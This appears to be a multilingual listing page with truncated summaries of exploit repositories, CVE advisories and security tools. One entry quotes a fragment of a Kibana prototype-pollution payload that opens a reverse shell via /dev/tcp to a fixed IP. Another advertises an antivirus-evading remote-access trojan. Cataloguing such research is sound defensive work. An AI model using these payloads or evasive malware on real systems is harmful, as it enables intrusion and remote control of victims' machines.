CVE-2021-28663

CVE-2021-28663 Una semplice PoC leak per CVE-2021-28663 Interno della vulnerabilità backdoor del kernel Android Questa è una PoC di base per CVE-2021-28663. Un difetto di progettazione nel driver Mali GPU del kernel Android. 1. Crea una GPUVA e fai anche mmap su di essa per ottenere l'indirizzo...

pyFUD

pyFUD RAT FUD MULTI CLIENT CROSS-PIATTAFORMA Nota: Questo progetto è in fase di sviluppo attivo. Potrebbe contenere alcuni bug Avviso: 1. Non caricare alcun payload su VirusTotal.com perché questo strumento non funzionerà col tempo. 2. VirusTotal condivide le firme con le aziende antivirus. 3...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Schwachstellenbeschreibung Webmin 1.984 und darunter - Dateimanager Privilegienausnutzung CVE-2022-0824 und CVE-2022-0829 Weniger privilegierte Webmin-Benutzer, die keine Einschränkungen für das Dateimanager-Modul konfiguriert haben, können mit Root-Rechten auf Datei...

noia

Noia Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re. Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open ...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Clicca su Canvas per ottenere una shell...

CVE-2026-93550

The Veeqo for WooCommerce WordPress plugin (versions through 2.2.8 ) contains a vulnerability where it fails to restrict who can trigger its remote bridge-installation process. Additionally, the plugin does not validate the URL provided before downloading and extracting content. This allows users...

EUVD-2026-96794

The Veeqo for WooCommerce WordPress plugin through 2.2.8 does not restrict who can trigger its remote bridge-installation process or validate the URL it is given before downloading and extracting it, allowing users with Subscriber-level access and above to make the Veeqo for WooCommerce WordPress...

CVE-2026-87761 Adwised Web Push Notification <= 2.5.7 - Subscriber+ Stored XSS via Pop-up Settings

The Adwised Web Push Notification WordPress plugin through 2.5.7 does not perform any capability or nonce check before allowing an authenticated user to overwrite its site-wide configuration, and does not escape those configuration values before printing them inside an inline script block on ever...

CVE-2026-85118 AI Content Generator Marketing <= 1.0.0 - Unauthenticated Privilege Escalation via Arbitrary Option Update and Deletion

The AI Content Generator Marketing WordPress plugin through 1.0.0 does not enforce a nonce or capability check on some of its AJAX actions, allowing unauthenticated users to update and delete arbitrary WordPress options, which can be used to gain administrator access to the site...

EUVD-2026-96763

The AI Content Generator Marketing WordPress plugin through 1.0.0 does not enforce a nonce or capability check on some of its AJAX actions, allowing unauthenticated users to update and delete arbitrary WordPress options, which can be used to gain administrator access to the site...

CVE-2026-104682

The Envira Gallery WordPress plugin (versions prior to 1.16.2 ) is vulnerable to a missing authorization flaw in its gallery-conversion feature. The root cause is that the plugin fails to properly verify if a requester is authorized to create specific gallery content, instead only checking if the...

CVE-2026-104682 Envira Gallery < 1.16.2 - Contributor Missing Authorization via Convert Gallery REST Route

The Envira Gallery WordPress plugin before 1.16.2 does not correctly check authorization on its gallery-conversion feature, verifying that the requester can edit an arbitrary post they name rather than that they are allowed to create the Envira Gallery WordPress plugin before 1.16.2's own gallery...

EUVD-2026-96741

The Envira Gallery WordPress plugin before 1.16.2 does not correctly check authorization on its gallery-conversion feature, verifying that the requester can edit an arbitrary post they name rather than that they are allowed to create the Envira Gallery WordPress plugin before 1.16.2's own gallery...

sidedoor

sidedoor sidedoor maintains an SSH connection or tunnel with a shell script daemon. The primary use case is maintaining a remote port forward to the local SSH server or another port. Thus, the local device can be accessed without using incoming connections that may be blocked by a NAT or firewall...

CVE-2025-9074-PoC-Bash

CVE-2025-9074-PoC-Bash Il PoC originale è: https://github.com/j3r1ch0123/CVE-2025-9074. Questo è un nuovo PoC in bash poiché non tutti i container docker hanno python installato, e per lo più dovrebbe essere eseguito dall'interno di un container. Passaggi Dall'interno del container usa quanto seg...

CVE-2025-0316-Exploit

CVE-2025-0316-Exploit Kit di Exploit CVE-2025-0316 🚨 Exploit di Auth Bypass per il Plugin WordPress WP Directorybox Manager 🔥 Script di exploit automatizzato per CVE-2025-0316 — Auth Bypass tramite azione AJAX vulnerabile. ⚠️ Avviso Legale Questo strumento è destinato esclusivamente a: Ricerca...

CVE-2022-37706-LPE-exploit

CVE-2022-37706 Ciao ragazzi, questa volta parlerò di uno 0-day recente che ho trovato in uno dei principali window manager di Linux chiamato Enlightenment https://www.enlightenment.org/. Questo 0-day porta qualsiasi utente ai privilegi di root molto facilmente e all'istante. L'exploit è testato s...

TokenTactics

TokenTactics Set di strumenti per la manipolazione di Azure JSON Web Token "JWT" I token di accesso di Azure consentono di autenticarsi su determinati endpoint come un utente che accede tramite un codice di dispositivo. Anche se l'utente ha usato l'autenticazione a più fattori. Una volta ottenuto...

santa

Santa Santa ist ein Autorisierungssystem für Binärdateien und Dateizugriffe unter macOS. Es besteht aus einer Systemerweiterung, die Ausführungen und Dateizugriffe überwacht und Entscheidungen auf der Grundlage der Inhalte einer lokalen Datenbank trifft, einem GUI-Agenten, der den Benutzer im Fal...

IoT-Home-Guard

La prima versione dello strumento hardware utilizza il Raspberry Pi come piattaforma di sviluppo. Gli utenti devono accedere al Raspberry Pi per avviare lo strumento software tramite ssh, e quindi connettere il dispositivo IoT da testare al wifi del Raspberry Pi. Sto progettando una seconda...